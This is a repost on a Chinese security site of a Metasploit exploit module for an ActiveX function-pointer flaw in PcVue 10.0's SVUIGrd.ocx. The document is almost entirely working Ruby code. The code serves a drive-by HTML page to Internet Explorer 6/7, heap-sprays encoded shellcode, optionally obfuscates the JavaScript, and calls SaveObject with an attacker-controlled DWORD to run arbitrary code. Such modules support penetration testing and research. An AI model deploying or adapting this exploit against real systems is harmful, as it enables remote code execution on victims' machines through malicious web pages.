首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerabilit
来源:http://www.metasploit.com 作者:mr_me 发布时间:2011-10-14  

##
# $Id: pcvue_func.rb 13889 2011-10-12 10:57:31Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability",
   'Description'    => %q{
    This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0.
    By setting a dword value for the SaveObject() or LoadObject(), an attacker can
    overwrite a function pointer and execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Luigi Auriemma', # original find
     'mr_me <steventhomasseeley[at]gmail-com>',  # msf module
     'TecR0c <roccogiovannicalvi[at]gmail-com >',# msf module
    ],
   'Version'        => '$Revision: 13889 $',
   'References'     =>
    [
     [ 'BID', '49795'],
     [ 'URL', 'http://aluigi.altervista.org/adv/pcvue_1-adv.txt'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'Space'           => 1024,
     'BadChars'        => "\x00\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      #IE 6/7 on Widnows XP and Vista
      'Internet Explorer 6 / Internet Explorer 7',
      {
       'Ret'    => 0x0a0a0a0a,
       'Offset' => 1000
      }
     ]
    ],
   'DisclosureDate' => 'Oct 5 2011',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
     OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),
    ], self.class)
 end

 def on_request_uri(cli, request)

  #If not IE, we don't continue
  agent = request.headers['User-Agent']
  if agent !~ /MSIE [6|7]\.0/
   print_error("Target not supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Setup exploit buffers
  nops      = Rex::Text.to_unescape([target.ret].pack('V'))
  ret       = "0x%08x" % target.ret

  blocksize = 0x50000
  fillto    = 200

  # Randomize the javascript variable names
  obj_name     = rand_text_alpha(rand(100) + 1)
  j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops       = rand_text_alpha(rand(100) + 1)
  j_ret        = rand_text_alpha(rand(100) + 1)
  j_headersize = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_block      = rand_text_alpha(rand(100) + 1)
  j_memory     = rand_text_alpha(rand(100) + 1)
  j_counter    = rand_text_alpha(rand(30) + 2)
  j_txt      = rand_text_alpha(rand(8) + 4)

  js = <<-EOF
  var #{j_shellcode} = unescape('#{shellcode}');
  var #{j_nops} = unescape("#{nops}");
  var #{j_headersize} = 20;
  var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
  while(#{j_nops}.length < #{j_slackspace}) {
       #{j_nops} += #{j_nops};
  }
  var #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
  var #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
  while((#{j_block}.length + #{j_slackspace}) < #{blocksize}) {
       #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
  }

  #{j_memory} = new Array();
  for(#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++){
       #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode} ;
  }

  function main(){
   #{obj_name}.SaveObject("#{j_txt}.txt", #{ret}, 0);
  }
  EOF

  js = js.gsub(/^\t\t/, '')

  #JS obfuscation on demand
  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
   main_sym = js.sym('main')
  else
   main_sym = "main"
  end

  content = <<-EOF
  <html>
  <body>
  <object classid='clsid:2BBD45A5-28AE-11D1-ACAC-0800170967D9' id='#{obj_name}' ></object>
  <script language='javascript'>
  #{js}
  #{main_sym}();
  </script>
  </body>
  </html>
  EOF

  #Remove the extra tabs from content
  content = content.gsub(/^\t\t/, '')

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}")
  send_response(cli, content, {'Content-Type'=>'text/html'})
 end
end


=begin
Tested successfully on the following platforms:
 - PcVue 10.0 (SVUIGrd.ocx v1.5.1.0) on Internet Explorer 6 & 7, Windows XP SP3

Class SVUIGrdCtrl
ProgID: SV.UIGrdCtrl.1
GUID: {2BBD45A5-28AE-11D1-ACAC-0800170967D9}
Number of Interfaces: 1
Default Interface: ISVUIGrd
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
=end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FreeBSD 8.0 Local Root Exploit
·Mozilla Firefox Array.reduceRi
·Mozilla Firefox Array.reduceRi
·TugZip 3.5 Zip File Parsing Bu
·MS11-064 TCP/IP Stack Denial o
·Apache mod_proxy Proof Of Conc
·BlueZone Desktop .zap file Loc
·ACDSee FotoSlate PLP File id P
·WordPress 2.0.3 Denial of Serv
·myBB 1.6.4 Backdoor Exploit
·RadLight Pro 3.0(.mp3) Buffer
·Snortreport nmap.php and nbtsc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved